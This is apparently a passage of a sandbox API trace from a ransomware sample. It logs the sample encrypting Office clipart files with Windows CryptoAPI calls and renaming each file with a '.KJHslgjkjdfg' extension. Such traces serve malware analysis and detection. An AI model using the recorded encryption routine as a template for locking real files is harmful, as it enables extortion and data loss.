phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.635] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.635] GetProcessHeap () returned 0x990000 [0193.635] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.635] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.635] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.635] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.635] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.636] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.636] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.636] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.636] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.636] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.636] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16ec, lpOverlapped=0x0) returned 1 [0193.637] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16f0) returned 1 [0193.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.637] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16f0, lpOverlapped=0x0) returned 1 [0193.637] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.637] SetEndOfFile (hFile=0x130) returned 1 [0193.640] GetProcessHeap () returned 0x990000 [0193.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.640] GetProcessHeap () returned 0x990000 [0193.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.kjhslgjkjdfg")) returned 1 [0193.641] CloseHandle (hObject=0x130) returned 1 [0193.641] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1 [0193.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.642] GetProcessHeap () returned 0x990000 [0193.642] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.642] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.642] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.644] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.644] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.644] GetProcessHeap () returned 0x990000 [0193.644] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.644] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.644] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.644] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.644] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.644] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.644] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.644] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.644] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.644] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.644] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2b64, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2b64, lpOverlapped=0x0) returned 1 [0193.645] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b70, dwBufLen=0x2b70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b70) returned 1 [0193.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.645] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b70, lpOverlapped=0x0) returned 1 [0193.646] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.646] SetEndOfFile (hFile=0x130) returned 1 [0193.648] GetProcessHeap () returned 0x990000 [0193.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.648] GetProcessHeap () returned 0x990000 [0193.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.kjhslgjkjdfg")) returned 1 [0193.649] CloseHandle (hObject=0x130) returned 1 [0193.649] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1 [0193.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.650] GetProcessHeap () returned 0x990000 [0193.650] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.650] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.650] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.653] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.653] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.653] GetProcessHeap () returned 0x990000 [0193.653] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.653] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.653] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.653] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.653] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.653] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.653] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.653] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.653] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.653] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.653] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3734, lpOverlapped=0x0) returned 1 [0193.655] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3740, dwBufLen=0x3740 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3740) returned 1 [0193.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.655] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3740, lpOverlapped=0x0) returned 1 [0193.655] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.655] SetEndOfFile (hFile=0x130) returned 1 [0193.657] GetProcessHeap () returned 0x990000 [0193.657] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.657] GetProcessHeap () returned 0x990000 [0193.657] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.kjhslgjkjdfg")) returned 1 [0193.659] CloseHandle (hObject=0x130) returned 1 [0193.659] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1 [0193.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.659] GetProcessHeap () returned 0x990000 [0193.659] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.659] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.660] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.662] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.662] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.662] GetProcessHeap () returned 0x990000 [0193.662] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.662] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.662] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.662] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.662] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.662] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.662] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.663] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.663] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.663] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.663] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x347c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x347c, lpOverlapped=0x0) returned 1 [0193.664] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3480, dwBufLen=0x3480 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3480) returned 1 [0193.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.664] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3480, lpOverlapped=0x0) returned 1 [0193.664] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.664] SetEndOfFile (hFile=0x130) returned 1 [0193.666] GetProcessHeap () returned 0x990000 [0193.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.666] GetProcessHeap () returned 0x990000 [0193.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.kjhslgjkjdfg")) returned 1 [0193.668] CloseHandle (hObject=0x130) returned 1 [0193.668] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1 [0193.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.668] GetProcessHeap () returned 0x990000 [0193.668] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.668] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.669] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.670] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.670] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.670] GetProcessHeap () returned 0x990000 [0193.670] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.671] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.671] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.671] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.671] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.671] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.671] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.671] 